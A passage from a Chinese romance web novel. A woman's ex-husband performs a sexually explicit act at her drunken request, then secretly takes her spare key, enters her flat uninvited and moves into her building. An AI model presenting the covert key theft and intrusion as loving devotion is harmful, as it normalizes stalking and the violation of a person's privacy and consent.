徐清聿的喉结滚动了一下,指尖蜷了蜷,移开目光。 云听看了看墙上的钟,已经午夜。她揉了揉湿润的发丝,口气不善道:“这么晚了,你不回去睡觉?” “你不在,我睡不着。” “睡不着也该回去睡。” 两人对视。 云听盯着他看了几秒,放弃和他争论,踢踏着拖鞋走向厨房,倒了一杯水。 仰头喝水时,她喝得急了些,水顺着喉咙滑下,唇角还沾了点水珠。 云听眨了眨微醺的眼,抬手擦掉嘴角的水痕, 就在这时,她感觉到身后有人靠近。 云听放下杯子,转头看到徐清聿一声不响站在她身后。 徐清聿安静地看着她,眼神落在她还未完全干透的发丝上:“头发还没干。” 云听懒得和他废话:“嗯,一会儿吹。” 徐清聿俯下身:“我帮你。” 这个角度他能看见云听锁骨下方沾着的水珠,沿着白皙的肌肤滑进了睡裙领口。 云听揉了揉头发:“不用。” 徐清聿伸出手,摸到她微湿的发丝,眸色暗了暗,他上前一步,扣住她的腰,稍微用力,将她整个人打横抱起。 “你干什么?”云听一惊,慌忙撑住他的肩膀。 徐清聿抱着她走向客厅,将她放在沙发上,不顾她的抗议,走进房间。 出来时,把布偶锁在了里面。 插上电,徐清聿将温热的风调到最低档,他单手握着吹风机,另一只手指尖缠住云听的一缕湿发。 “坐好。” 云听浑身上下都很抗拒,但吹风机的温度刚刚好,暖暖的风拂过头皮,酥酥麻麻的,让她困意加深。 她懒懒地眯了眯眼,像只不设防的猫。 徐清聿嗓音温柔:“要是困了就睡一会儿。” “徐清聿”云听突然抓住他的手腕,指尖沾着沐浴露的滑腻感,“你心跳好吵,比吹风机还要吵。” 吹风机垂落的电源线扫过云听的手臂,她却像感觉不到似的,将脸颊埋进徐清聿颈窝深吸一口气。 雪松香木特有的冷冽木质调,在她微醺的意识里炸出一片清冽的森林。 徐清聿下颌线紧绷,喉结在阴影里滚动出危险的弧度。 他能闻到云听发间残留的桃花的味道,混着酒的醇厚,甜得令人心慌。 吹风机嗡鸣声卡在某个震颤的频率,徐清聿急促的心跳声和吹风机的嗡鸣重叠成诡异的二重奏。 他的指尖陷进云听潮湿的发旋:“你喝了多少?” “一杯。”云听乖巧地仰头,发丝扫过徐清聿的喉结,瞳孔在氤氲水汽中泛着柔和的光。 “下次,不要喝了。”徐清聿的太阳穴突突跳动,他把吹风机的风筒转向另一边,免得热风灼伤云听脆弱的皮肤。 “不要你管…”云听的睡裙肩带不小心滑落了半 截,隐约能看到一点儿粉。徐清聿喉结重重滚动了一下,替她拉上肩带,转而用梳子轻轻梳理她打结的发梢。 云听的脑袋无力地垂下来,手指无意识地抓挠他胸前的布料,“徐清聿……你到底想干嘛?” “嘘。”徐清聿用唇瓣贴住她发烫的耳廓,呼出的气息比吹风机还要灼热,“喜欢你。” 云听的思绪在梦境和现实之间飘忽不定。 她梦到自己被困在一片混沌之中,四周都是模糊的影子,她想要推开,可手指刚伸出去,又被一股熟悉的气息拉回。 桃花柔和的甜与雪松的冷冽本该互相抵消,此刻却在徐清聿的皮肤上发酵成令人眩晕的毒药。 云听的潜意识告诉她,应该推开他,可是身体却比理智更诚实,她本能地向温暖的地方靠近。 有什么柔软的触感落在她的额角,轻轻的,像是羽毛拂过。 云听的思绪仍然拉扯着,一半在拒绝,一半在渴望,最后,身体做出了选择,她仰起脖子,迎向了那股清冽的气息。 徐清聿的一只手撑在沙发上,另一只手顺着云听的脸颊滑落,指腹拂过她的下巴,让她更好地迎合他的吻。 云听梦见自己变成一株生长在雪松林里的桃花,根系被徐清聿的体温焐热,花瓣固执地朝着月光的方向生长。 徐清聿的唇瓣一点点沿着她的下颚滑落,最后落在她锁骨的凹陷处,烙下一个带着侵占意味的吻。 唇瓣再一次被攫住,云听的意识一下子回笼,睁开眼的瞬间,正好对上徐清聿近在眼前的脸。 徐清聿察觉到云听醒了,慌乱地后退了一步,眼里还有一点未及掩饰的情绪。 紧张、局促,被抓包的心虚。 云听怔了怔,抬手揉了揉额角,推开徐清聿,“你可以走了。” 徐清聿没动,他小声问:“我可以不走吗?” 他离得很近,近到云听能清楚地看见他眼角的痣。 徐清聿真的很漂亮,云听有些恍惚地想。 就像冬日里一树开得冷艳的白梅,生长在高处,清贵孤傲,哪怕再美,也只是供人远观,不可触碰。 可现在,她莫名生出了一种叛逆的念头。 她想摘下这朵白梅。 哪怕她对花粉过敏,也想伸手去碰一碰,看看它落入掌心的模样。 云听不想再吃防止过敏的药了。 不想再经历痒得无法忍受,无数细针扎在她的肌肤上的痛苦了。 每当她看到云闻在梅花树下轻松地享受芬芳,享受着温暖的阳光。而她只能远远站在旁边,无法接近,心里总会愤懑与无奈。 那种感觉就像是一个被遗弃的孩子,渴望得到的东西却永远无法拥有。 可现在,她真的拥有了吗? 酒意作祟下,压抑已久的情感滋生。 路见薇说:“你老公很欲,吻你的时候很色。情。” 周之寒说:“徐清聿好像没什么情绪,你怎么搞他都不会生气。” Elliot说:“Zeph其实不会像很多人那样,心情起伏很大,一会儿高兴,一会儿低落。” 云听回忆起徐清聿这些年的表现,除了极少数情有可原的发火,他的确很少生气,在所有人面前,总是表现得稳重克制。 可她想看看,他再一次失控的模样。 为了她。 云听站起身,步伐虚浮地来到徐清聿面前,指尖顺着他的下颌往上滑,擦过他的唇角,似笑非笑:“徐清聿,你知不知道…我很讨厌你冷冰冰的样子……” 话音落下,她咬住了他的下唇,故意撩拨,“徐清聿,你想目垂我吗?” 两人的影子在地面交织、重叠。 徐清聿凝视着云听,目光炽热,坚定回答:“想,我想。” 云听的手指停在距徐清聿睫毛三毫米处,她笑了一声,指尖拂过他下眼睑时故意划过泪痣,“徐清聿,你不喜欢别人碰你的眼睛,我偏要碰……” “漂亮的不止眼睛。”她的指尖往上,抚过徐清聿的眉骨,“徐清聿…我想看你……自…” 听到她的话,安静三秒。 徐清聿解开皮带,皮带坠落在地毯上发出闷响,他说,“好。” 第57章 第五十七章 “我不喜欢快的” 徐清聿斜倚在沙发上。 衣服被肩胛骨撑出锐利的折角, 手背上凸起的青筋在淡粉色皮肤下起伏。 云听已经彻底清醒。 从未如此清醒。 她懊悔不已,每一根神经都在尖叫自己不该提出愚蠢至极的要求,不该让徐清聿…… 她恨不得原地去世。 事实上, 她已经逃过一次了。 当徐清聿右手覆上去时,云听仓皇起身,刚走一步,就被他像拎小鸡一样抓了回来。 “走什么?”徐清聿的声线很温和, 甚至可以说很温柔。 他的指腹碾过自己的眉心,抚平褶皱,“你不是想看吗?” “徐…徐清聿……”云听的身体不受控制地颤抖,牙齿也开始打战,双腿发软, 直接瘫倒在沙发上。 徐清聿眼尾发红,亲了亲她的眼睛:“那就看着。” 云听只要闭上眼睛,徐清聿就会想方设法让她睁开。 明知故问:“你不看吗?” 如果她不睁眼,徐清聿就会亲吻她的眼睛、鼻子,嘴唇。 一旦云听有想逃的意图, 徐清聿一定会事先洞察她的想法,抓住她的手,掀起薄薄的眼皮,淡定问:“跑什么?” 窗帘半掩, 几缕微光挤进来,在地上落下暧昧的光影。 每一秒对云听来说都是煎熬。 想死。 她被迫睁开眼睛, 视线不知道落在哪儿。 只好数起徐清聿手背凸起的血管,但眼神总是不由自主落在别处的青筋。 以前她是不好意思看,现在她是不能不看。 徐清聿哪哪都很干净,身上有很淡的香, 头发永远是干燥的,皮肤也白,就连那处也是很干净的粉。 看起来比她的手腕粗,但一点都不狰狞。 云听猛敲脑壳,涨红脸:“徐…徐清聿,能不能快一点…” 话音一落,云听看见徐清聿喉结滚动。 开口的第一句话仍是道歉,“抱歉,我快一点。” 接着他转头看她,汗湿的额发扫过眉骨。 薄汗从毛孔渗出,在他的太阳穴表面结成几颗水珠。 云听用手捂住耳朵,掩耳盗铃,“够了,徐清聿……” “云听。”徐清聿置若罔闻,滚烫的气息不断逼近她。 他的声音沙哑得不像话,潮湿的睫毛在眼下投出颤动的阴影,“我可以吻你吗?” “不可以。”云听偏头避开。 徐清聿闭上眼睛,从牙缝中挤出难受的声音,“那你能不能和我说说话…” 他喉结上的汗珠摇摇欲坠,平日隐没在皮肤下的青色血管全部暴动,此刻在颈部拉出凌厉的曲线。 云听捂着耳朵错开眼,耳根通红,“我…我不想和你说话。” “云听。”徐清聿轻抬眼眸,一只手掰过她的脸,虎口卡住她的下巴,“可是你不和我说话,我做不到……快。” 两人目光交汇。 刹那间,云听只觉自己跌进了一汪骇人的幽潭中。 徐清聿深邃的目光里面裹满了丝丝缕缕的欲念,好可怕。 “不可以。”云听拉响警钟,浑身紧绷。 她低声呢喃,“徐清聿,我不喜欢慢的……” 快点结束吧。 求求。 “好,那我快一点。”徐清聿不为难云听,加快速度。 他现在就像一只困兽徘徊在欲。望的牢笼中,每一次续重的呼吸都是在踏碎自己苦心维持的冷静。 什么清冷如霜,什么矜贵自持,通通不复存在。 他重复喊着云听的名字,即使被拒绝,也要不断地靠近。 见他神色痛苦,云听不忍。 鬼使神差地碰了碰徐清聿的月要。 掌下肌肉瞬间绷紧,布料被汗水浸湿的触感让她指尖发烫。 徐清聿一把握住她的手。 “云听——”终于在一声过后。 沙发一片狼藉,抱枕七零八落。 淡淡的腥味飘散在空气中。 徐清聿胸膛剧烈起伏,粗重的喘息声在深夜回荡。 他慢吞吞地睁眼,薄眼皮半耷拉着,湿润的睫毛随着呼吸轻颤,有几分脆弱,却无端勾人,性感得让人心跳失序。 “云听……”徐清聿笑了下,“还行吗?” 云听心里直打鼓。 她张嘴,不知该说什么,小声嘟囔了一句:“太快了,我不喜欢快的。” 话一出口,她的心里就开始忐忑不安,想着徐清聿大概要生气了。皱眉,冷脸,或许直接转身离开。 她这次有点过分了。 嫌弃徐清聿慢,一直催促他,最后又嫌弃他快。 徐清聿又不是傻子,怎么会看不出她在玩他。 然而,想象中的生气没有出现。 静默片刻。 徐清聿从胸腔深处溢出一声宠溺的笑。 唇齿间渗出的气流扑在云听的耳尖上,潮热里混着一点薄荷的凉。 云听抬起头,看见徐清聿看着她,嘴角上扬。 徐清聿以往为数不多的笑,是克制又含蓄的。 像落在 玻璃罩外的雪,美则美矣,但难以触及真心。 可此刻他的牙齿正抵着下唇,虎牙尖蹭过泛红的唇肉。 原来徐清聿有一颗虎牙。 不是很尖,所以唇齿相接时,那颗虎牙的存在感并不强烈。 他擦掉右手手心的白色,用左手揉了揉云听的头发:“那我改一下,下次再给你看。” 脸皮好厚。 “你!”云听转过身子,气急败坏,“你下次不要再过来了。” * 次日。 云听睁开眼睛。 细碎的光尘跌进瞳孔,强烈的听觉和触觉也接踵而至。 昨晚一幕幕交替穿插进云听的记忆。 徐清聿黑沉沉的眼神。 他粗重的喘息,带着隐忍,落在她的耳侧。 还有沙哑的声音,缠绕在她的脑海里…… 最后,徐清聿吻了她的眼睛,“困了吗,你先去睡吧,这里我会收拾。” 云听如释重负,拔腿就逃。 来到卫生间反锁上门,她大口大口喘着粗气。 她连不正经的凰片都没有看过,更不用说有人在她面前现场演示,那人还是徐清聿。 总之,又得洗澡了。 醉酒误人,要是第二天醒来失忆也罢。 但云听清楚记得,昨晚发生的一切,不是醉意使然,而是她自己允许的。 她脑子是抽风了吗?怎么会让徐清聿做这种事? 徐清聿脑子也抽风吗?怎么会答应她? 云听心跳不稳,干脆躺在床上装死。 她不该这样,她和徐清聿……早就结束了。 可她又一次让界限变得模糊。 云听在床上躺尸了一会儿,直到布偶跳上床,舔舐她的手背,她才从回忆里挣脱。 她得冷静,不能让情绪影响自己。 丢脸的是徐清聿,不是她。 思及此,云听掀开被子下床,走出房间。 幸好,外面空无一人,徐清聿已经走了。 客厅恢复了整洁,茶几干净到反光,地面也被擦拭过。 昨晚记忆里凌乱的沙发,如今干干净净。 枕头整齐地摆放着,干燥蓬松,还有洗衣液的香气。 云听走近,指尖按了按枕头,明显已经洗过烘干。 徐清聿什么时候洗的? 他是昨晚离开的,还是今天一早? 云听找不到任何他离开的证据,观察房间时,发现窗台上不知何时放了一瓶香熏。 是玫瑰与雪松的香气。 云听认得这瓶香熏。 不止认得,她再熟悉不过。 这是她自己调的香,曾经放在她和徐清聿的婚房里。 这瓶香薰很特别。 前调是清新的柠檬和佛手柑,中调是大马士革玫瑰,融合了一点点辛香料,后调则是雪松、檀香和一丝丝广藿香。 云听花了很长时间才调配完成,目的就是为了自己一回家就能闻到熟悉的、有安全感的气息。 她抿了抿唇,伸手将香薰拿起,走向卧室,把它放进一个空的柜子里,锁起来。 做完这些,云听转身去给云朵添粮、铲屎。 云朵没心没肺,见到她拿着猫粮,立刻兴奋地蹭过来。 云听蹲下来,摸了摸它的脑袋,打开袋子倒进食盆里。 云朵埋头吃得开心,尾巴一甩一甩。 云听看到它大快朵颐,一副饿死鬼投胎的样子,温和地责备道:“你倒是挺满足的,昨晚徐清聿把你关在房间,你怎么不叫唤呢?” 云朵:“喵喵。” 羊奶粉快吃完了。 云听打开手机,把羊奶粉加入购物车。 屏幕上显示“预计今日送达”。 她点了付款,然后把手机丢在桌上。 半小时后,云听收拾完自己,换了件干净的衣服,准备出门和辛亦桐吃午饭。 她站在玄关处,伸手去钥匙盘拿钥匙,愣了一下。 备用钥匙不见了。 这个小区设施设备没那么新,没有密码锁,也没有指纹锁,云听搬进来的第一天,房东给了她两把钥匙。 一把主钥匙,一把备用钥匙。 云听把垃圾袋扔在地上,翻了翻放钥匙的盘子,又摸了摸口袋,还是没找到。 她没太在意,以为是云朵乱蹦乱跳时,把钥匙扫到了角落里。想到这里,她蹲下身,在门口的地垫、鞋柜下翻找了一圈。 没有。 云听又走到客厅,掀开沙发垫,低头看茶几底下,依旧没有。 云朵已经吃完饭,趴在阳台上晒太阳。云听走过去,戳了戳她的耳朵,“朵朵,你没把钥匙踢到哪儿去吧?” 云朵懒散地睁开眼,尾巴甩了一下,用行动表达不知道。 云听没再打扰它,起身又去厨房和卧室里找了一圈。 还是没有。 她站在房间中央,茫然地抓了抓头发。 难不成是徐清聿拿的? 应该不会吧? * 距离那天晚上,徐清聿已经一周没有出现在云听面前了。 这一周里,一切都很平静。 云听的日子照常过,该工作工作,该应酬应酬,生活作息正常,能吃能喝能睡,没事就去辛亦桐在的大学逛一圈。 可她偶尔还是会想起那天晚上的事。 或者说,想起狼狈的徐清聿。 云听心想,也许那天晚上她是真的伤到了徐清聿的自尊。 徐清聿本来就是个高高在上的人,又怎么会允许自己的失态被人看到?他应该后悔了吧。 云听不是没有放弃他,连那瓶和他气息相似的香熏都收了起来,闻不到心就不烦。 即便如此,她的心里还是有一点……失落。 但无论如何,她都不会主动去联系他。 这天是周末,云听在家休息,窝在沙发上看书。 书是辛亦桐强力推荐的,叫《黑暗中飘香的谎言》,这本书聚焦犯罪心理,以盲人主人公的视角展开,情节层层反转,在追寻真相的过程中将人性的复杂与黑暗角落的秘密一一揭开。 云听看得入迷,不知不觉间忘了吃饭。 窗外有些阴沉,像是要下雨了。 云听翻页时,余光瞥见自家的猫又跳上了窗台。 云朵今天不对劲,从早上开始就一直焦虑不安。 它往外看的次数比平时多了好几倍,耳朵竖得高高的,眼神一眨不眨地盯着窗外看。 云听喊了一声:“朵朵?” 云朵没理她,看着窗外,望眼欲穿。 云听合上书,来到它身边。 顺着它的视线往外看,楼下是小区的路和大片绿植,路上寥寥几个人走过,没什么特别的。 云听不以为意,回到沙发上继续看书。 可没过多久,云朵又“扑通”一声跳下来,跑到门口趴下。 它的耳朵贴着门,好像在认真听外面的动静。 云听再次放下书,“朵朵,你在等谁?” 云朵抬起头,朝她叫了一声,尾巴拍了拍地面,又把头埋进爪子里。 云听透过猫眼往外看,外面空荡荡的,什么都没有,她自言自语,“奇怪,你今天怎么这么反常?” 最近家里没什么客人来过,外卖她也是自己下楼去拿的,按理说,云朵不应该对门口这么执着。 云听想了想,可能是她最近太忙,把猫关在房间里太久了。云朵闷坏了,想出去散步,所以才一直往外看。 窗外的天空昏沉沉的,风有点大,但雨还没落下来。 趁着雨没下,云听决定带猫出去遛一圈,去小区里转转。 她从柜子里拿出牵引绳,套在云朵身上,云朵配合地低下头,乖乖让她扣好。 “走吧。” 云听打开门,云朵先是犹豫了一下,探头往外看了看,确认没有危险后,才小心翼翼地迈出门槛。 走到小区的步道上,云朵很好奇,东嗅嗅西看看,小爪子踩在地面上,身上的铃铛叮叮当当作响。 可没走多久,远处有人经过,说话声隐约传来,云朵猛地停住步子,警惕地竖起耳朵。 下一秒,路上有个小孩跑过,它的尾巴立刻炸了,迅速往云听的腿上蹭,抓着她的裤子往上攀爬 。 云听低头,见它整个身子都紧紧贴着自己,耳朵垂下来,连胡须都不敢乱动,笑了笑,“胆子这么小?” 云朵瞪着圆溜溜的眼珠,但身体不敢动,爪子紧紧扒着她的小腿不放,喉咙里发出一声细细的呜咽。 无奈之下,云听只能把它抱起来。 云朵精明的眼神今天看起来很怂,她扯住它的尾巴:“朵朵,你在徐清聿面前这么猖狂,一出门你就害怕?” 说完,云听反思了下:“是不是出门少了?下次妈妈多多带你出来逛逛。” 云朵抬起眼睛,委屈地看了她一眼,然后把头埋进她的颈窝里,脚上脏兮兮的灰尘全部沾在了云听干净的衣服上。 小雨滴落。 云听小跑着回家。 一打开门,云朵从她怀里跳下去,蹿进房间里。 它的状态还是不对劲。 往常它从辛亦桐家里回来,到家的第一件事不是去猫砂盆,就是跳到阳台的猫爬架上,慢悠悠地舔毛,整理自己柔软的毛发。 可今天,它进了房间之后,先是绕着茶几走了一圈,接着又走到玄关,在门口转来转去,尾巴还不安地甩着。 云听抓住她毛茸茸的尾巴,用湿巾将它身上的灰尘擦干净。爪子尤其脏,她耐心地擦了好几遍,才问,“朵朵你今天怎么了?” 云朵不会说话。 云听想了想,难道是春天快到了,它发情了? 可不对啊,她记得很清楚,云朵才几个月,按理说不应该这么早就发情,而且这附近有没有母猫,不对……难道楼下路过一只母猫,被云朵看到了,所以它看上人家了? 云听很快被自己无厘头的猜想逗笑。楼层这么高,云朵怎么可能一眼看清楼下的路过的猫是一只小母猫? 她拿出手机,随手拍了一张云朵趴在门口的照片,发给Ethan。 云听:「师傅,我家猫最近状态有点奇怪,会不会是发情了?」 消息刚发出去,云朵又站起来,缓慢地走到窗边,跳上窗台,扒着窗沿往外看。 云听走过去,伸手摸了摸它的背,云朵还是没有像往常一样蹭她,而是盯着外面,一副心不在焉的样子。 过了一会儿,她的手机震了一下,Ethan回复: 「发情?不太可能吧,布偶猫一般要8-12个月左右才会发情,朵朵才几岁啊,会不会是你的名字取得太娘们了?不符合朵朵爷们形象。」 云听汗颜,想到Ethan四只猫的名字。 软软,绒绒,蹦蹦,乖乖。 没比云朵好听到哪里去。 Ethan又发来一条:「你最近是不是没怎么陪它玩?它可能是太无聊了,想找点事做,你抽出时间多陪它玩玩。」 看到这句话,云听忽然有点心虚。 她最近确实挺忙的,白天要工作,晚上还要找辛亦桐聊天散步,回家最多就是摸摸云朵的头,跟它说两句,没有好好陪它玩过。 想到这里,云听把手机放到一旁,把猫抱下来,捏了捏它的爪子,“行吧,今天陪你玩。” 她拿出逗猫棒,在云朵面前晃了晃。 云朵完全没有兴趣。 云听挑眉,把逗猫棒收起来,换了个小球,轻轻滚过去。 云朵看着小球滚到自己面前,抬起一只爪子,按了一下,小球滚远了。 小球滚越滚越远,云朵犹豫了一下,没有追过去。 云听:“……” 她把猫抱起来,放到怀里,给她顺毛。 “朵朵,你到底怎么了?等妈妈工作结束了,我天天陪你玩好吗?这几天只能先委屈你一下了。” 猫回答不了。 抬头望着她,眼里映着她的影子,湿润润的。 晚上。 辛亦桐给云听打来电话。 “云云,你还记不记得陆辞安?”辛亦桐开门见山,“就是之前一起喝酒那个。” 云听点头,她记得陆辞安,那人五官乍一看有点像徐清聿,她回答:“记得,怎么突然提到他?” “他想加你微信。”辛亦桐解释说,“最近他奶奶睡眠不好,恰逢他奶奶八十五岁大寿,他想调一款安神的香薰,但他自己不太懂,就想到你了。” 云听为难道:“安神的香薰交给更专业的人比较好吧。” “云云,你不专业吗?他知道的人里面你是最专业的。” 云听敲了敲膝盖,沉思片刻后她应下:“行吧,你把我微信推给他。” 电话挂断没多久,微信上就弹出了一条好友申请。 陆辞安的头像是一个阳光下的咖啡杯,咖啡杯旁边睡了一只蓝金。验证消息很简单:陆辞安。 云听通过好友申请,很快收到对方发来的消息。 陆辞安:「好久不见。」 云听:「好久不见。」 两人寒暄几句后,陆辞安很快切入正题,把自己的想法告诉了云听。 陆辞安:「我奶奶最近失眠很严重,吃安眠药也没什么效果,我想调一款温和的安神香薰给她试试。」 云听:「你有想用的香料吗?还是让我推荐?」 陆辞安:「我查了一些资料,薰衣草、檀香这些应该不错,但我不确定比例,也不知道怎么搭配比较好。」 看得出来,陆辞安虽然有心去了解,但对香料的认识还很浅,完全是基于网上的信息,没有真正接触过调香。 云听:「香薰不像单纯的药效配方,除了成分,还要考虑气味的融合和扩散效果。单用薰衣草和檀香确实有助眠效果,但搭配不当,可能会显得过于沉闷或者厚重。」 陆辞安沉默了一会儿,才回复: 「确实,我在家随便混了一下,闻起来不太舒服……你能帮我看看怎么调吗?」 云听看着这条消息,眼里闪过一丝笑意。 果然是个门外汉,随便把几种香料混一起,当然不会好闻。 云听:「可以,你明天有空吗?当面聊会更直观一点。」 陆辞安:「可以!你定地方吧,我先请小云老师吃个晚饭吧。」 * 徐清聿站在云听家门口,指尖摸到口袋里的钥匙,打开门。 云听的钥匙是他顺走的。 徐清聿本来想租在云听隔壁,但房东告诉他,那户人家的儿子正在上高中,学业紧张,家长不想折腾换房子,就算给儿子更好的居住环境,但家长还是怕儿子适应不了。 云听楼上的房间也有人住,楼下同样住满了人。他没办法,只能退而求其次,在云听楼下五层租了一间公寓。 虽然不是近在咫尺,但至少,还是在同一栋楼里。 他今天就是过来看看房子,顺便和云朵玩一会儿。 云听说猫不喜欢他,这一点让徐清聿不甘心。 但凡事总有办法。 猫不喜欢,那就想办法让它喜欢。 “喵——” 徐清聿刚打开门,一道白色的影子便猛地扑了过来。 柔软的爪子搭上他的肩,毛茸茸的脑袋在他颈侧蹭了又蹭,带着点急不可耐的撒娇意味。 徐清聿低下头,云朵趴在他怀里,眼睛闪着光,尾巴缠住了他的手腕。 他眉峰微挑,有些意外,随即垂手摸了摸猫的后颈。 云朵很受用,顺势又往他怀里蹭了蹭,甚至舔了舔他的下巴,徐清聿强忍后退的冲动。 一天不见,云朵的热情来得汹涌,徐清聿本想拉开一点距离,奈何对方一点都不收敛。 “……很喜欢?”徐清聿低声问,语调里藏了点笑意。 云朵“喵呜”一声,仰头舔了舔他的指尖,尾巴卷住他的袖口。 徐清聿先去打开窗户通风,然后走到沙发坐下,任由云朵在自己身上翻来覆去,顺便帮它顺毛。 他是不喜欢猫,更受不了猫咪粗粝的舌头在自己的身上、脸上舔来舔去,鸡皮疙瘩起了一身。 但云听的猫,他喜欢,他能接受。 徐清聿取了一根猫条,拆开递到云朵嘴边。 云朵轻嗅,张口叼住,边吃边用爪子按住他的手掌。 徐清聿望着它,指腹轻 轻揉了揉它耳后最柔软的毛。 云朵吃得满足,眯着眼蹭他的手腕,嗓子里发出惬意的呼噜声。 徐清聿陪云朵玩了很久。 屋外天色微变,光影悄然挪移。 他算着云听回来的点,起身把窗户关上。 云听的鼻子太灵敏了,要是不开窗通风,她一定会察觉到不对劲。 徐清聿每天都想见云听,但每次都得躲着她。 云听的脸皮薄,容易害羞,那件事过后,他要是出现在云听面前,云听一定会让他走。 况且,现在自己身上没有云听喜欢的气息了,另一股味道已经腌入味了。 再等等。 云朵知道徐清聿要走,圆圆的眼睛带着不舍,喵喵叫了两声。 徐清聿在它脑袋上揉了一把,“我走了,照顾好你妈妈。” 小区门口人来人往。 一辆黑色大G静静停在路边,低调却难掩气势。 徐清聿拉开副驾驶的门坐了进去。 驾驶座上的Elliot单手搭在方向盘上,侧头看他,笑着调侃:“行啊,想约你吃饭还真不容易。” 徐清聿回国第二天,Elliot也回来了。 他回国,自然不是单纯为了徐清聿。 一来是担心徐清聿,二来是想念女朋友了。 只不过Elliot的女朋友不知道他的真实身份,嫌弃他穷,跟着别人跑了。 见徐清聿不说话,Elliot偏头看了他一眼,打趣道:“徐大少爷,什么时候把借的钱还了?” 徐清聿:“没钱。” 第58章 第五十八章 吃醋 徐清聿第一次问Elliot借钱是在外国。 Elliot刚从医院回来, 看到微信上的新消息。 徐清聿:「借五十万。」 徐清聿:「人民币。」 Elliot点开转账界面,先二话不说把钱转过去,转完才想起问原因, 回了个语音:“你要干什么?” 徐清聿没有回复。 Elliot躺在床上翻来覆去。 虽说徐清聿已经把名下所有资产都转给云听了,现在身无分文。但五十万借得太突然,还是人民币,很难不让人浮想联翩。 他忍不住往最坏的方向猜测。 徐清聿不会想买国内的墓地吧?还是……棺材? 想到徐清聿万一突发寻死的想法, Elliot睡意全无,猛地坐起身,抓起外套就往外走。 深夜十二点,他开车一路直奔医院。 值班护士看到他很惊讶:“咦,你不是走了吗?” Elliot冲她笑了笑, 应了一声,脚步不停,径直上楼。 他推开门:“你拿五十万干什么?” 徐清聿头也没抬,淡淡道:“砸礼物。” Elliot:“……什么?” 徐清聿把手机屏幕转过去。 是直播回放。 有一个女生在直播,背景在客厅。 直播间的弹幕疯狂刷屏, 最显眼的,是一连串的特效礼物。 【用户abc362848defg打赏豪华游轮×10】 【用户abc362848defg打赏超级火箭×20】 【用户abc362848defg打赏梦幻城堡×30】 华丽的特效挡住了女生的脸,Elliot看不大真切。 他整个人都看傻了,盯着屏幕上密密麻麻的特效, 转头看向徐清聿:“你半夜问我借五十万,就是为了这个?” “嗯。” Elliot感觉自己的血压噌噌往上飙:“你他妈……” 他气得抬手拍了徐清聿的肩膀:“我还以为你要去买墓地!” “不是。” Elliot眼角抽了抽。 压低声音骂了一句:“白天你跟快死了一样, 晚上精神抖擞砸钱看美女直播?” 徐清聿一反常态,Elliot更焦虑了。 徐清聿行为太贴合一个词:回光返照。 他连续几天守在病房外,话都不愿意多说一句。 就像一个被抽空了灵魂的人,只剩下一副疲惫的躯壳。 可到晚上还有闲情逸致给主播刷礼物? Elliot火气直往上涌, 他得把徐清聿拽清醒才行。 他忍无可忍,伸手抓住徐清聿的衣领,把人往前一拽:“你给我说清楚——” 话还没说完,他的余光瞥到徐清聿的手机屏幕。 沉默了一秒。 Elliot无力地松开双手。 “……你还真是。”Elliot无奈,“白天像是被掏空了魂,谁都不搭理,晚上借钱就为了给老婆砸钱?你也只有看到老婆你才像个人。” 回国之后,徐清聿断断续续问他借了很多钱。 数目不大不小,时而是一顿饭钱,时而是各种杂七杂八的费用。后来徐清聿懒得废话了,直接发来转账请求,不备注任何信息。 Elliot一开始还好奇他拿去干什么,问了几次,徐清聿都没答,次数多了他索性不问了,直接转账。 一次性转了很多。 这会儿,他看到副驾驶上在回消息的徐清聿,“Zeph,看你这架势,是打算一辈子不还了?” 徐清聿:“嗯。” Elliot:“……?” 徐清聿已经辞职了。 这件事在医院引起了不小的震动。 以他的能力,原本可以轻而易举成为心外科最年轻的主任之一,再往前走几年,登上更高的位置,也并非不可能。 不过以徐清聿的资历,哪怕离开医院,也不会缺工作机会。 国内顶尖的私立医院、国际基金会、高端医疗团队,知名医学院的教授席位,只要他愿意,选择多得数不清。 这些地方待遇优厚,收入比公立医院高出数倍,工作强度也相对自由,不像以前会随时被急诊叫回手术室。 但徐清聿更喜欢在医院。 不过他没有工作的想法,至少现在没有。 他只想把云听追回来。 心外科医生的工作性质,决定他一旦投入进去,就很难再抽出时间去做其他事情。 深夜的急诊,持续十几个小时不间断的手术,突如其来的病情变化,随时可能将他拖回医院。 而他也无法保证,如果自己重新回到医院,以他目前的心态能不能对病人负责。 所以徐清聿选择放弃。 在追回云听之前,他不会让自己被医院束缚。 徐清聿将房子、车子、投资,包括他在国外的资产,全部都过户到了云听名下。 云听没有收,但那不重要。 给了,就是给了。 他不会再去碰那笔钱。 所以,Elliot就充当了徐清聿的提款机。 听到徐清聿的话,他磨了磨后槽牙:“行吧,就当我做慈善了。” 话是这么说,可他心里松了口气。 Elliot和徐清聿认识多年。 徐清聿的性格他了解。 冷漠、克制,永远和所有人保持适当的距离,哪怕是关系最好的兄弟,也很少开口求助。 徐清聿不是一个会欠东西的人。 可如今,连人情都不愿意欠的男人,居然开始向他借钱。 而且借了不打算还。 这意味着什么。 不言而喻。 Elliot不仅不生气,甚至还高兴。 兄弟之间,哪有那么多清清楚楚的界限。 能帮的就帮,能给的就给,计较那么多,反而显得见外。 说起来,当年Elliot身无分文从家族里逃出来,孤身一人去了国外,人生地不熟,语言都不太流利,一穷二白,连住的地方都没有。 是徐清聿找到他,把一串钥匙扔给他:“住进去。” 他当时愣了一下,问他这是什么。 徐清聿神色淡漠:“房子。” Elliot:“……” Elliot后来才知道,这是徐清聿专门为他买的一套公寓,地段好,装修新,拎包入住。唯一的缺点,就是贵。 他不仅有了房子,后来连车子也是徐清聿送的。 徐清聿从不直接转账,他帮人的方式一向随性又霸道。 Elliot在国外刚站稳脚跟的第一年,他想换车。 徐清聿又扔给他一把钥匙:“节日礼物。” Elliot拿起钥匙,一出门就看到楼下停着一辆崭新的跑车。 他追着徐清聿问:“你干嘛突然送我车?” 徐清聿瞥了他一眼:“你不是想换车?” Elliot哽了一下:“我是想换,但没说要你买。” 在Elliot心里,徐清聿就是他一辈子的好兄弟。 虽然高中有段时间,他的确看他不爽。 徐清聿是个很割裂的存在。 高中那会儿,男生宿舍里总是乱糟糟的,成天吵吵闹闹,谁也不会把心思放在一个寡言少语的人身上。 徐清聿就是这样的人。 他不爱说话,平时也不太合群,最大的特点就是“特别”。 奈何他长得太帅了。 即使他不说话,也有一大堆人前仆后继和他搭话。 当时Elliot觉得徐清聿更像一个贫穷贵公子。 他总是穿限量款的球鞋。 某品牌的联名款。 全校能穿上的人屈指可数,几乎都是家境优越的学生。 徐清聿每双鞋都是限量版,款式新得有些过分。 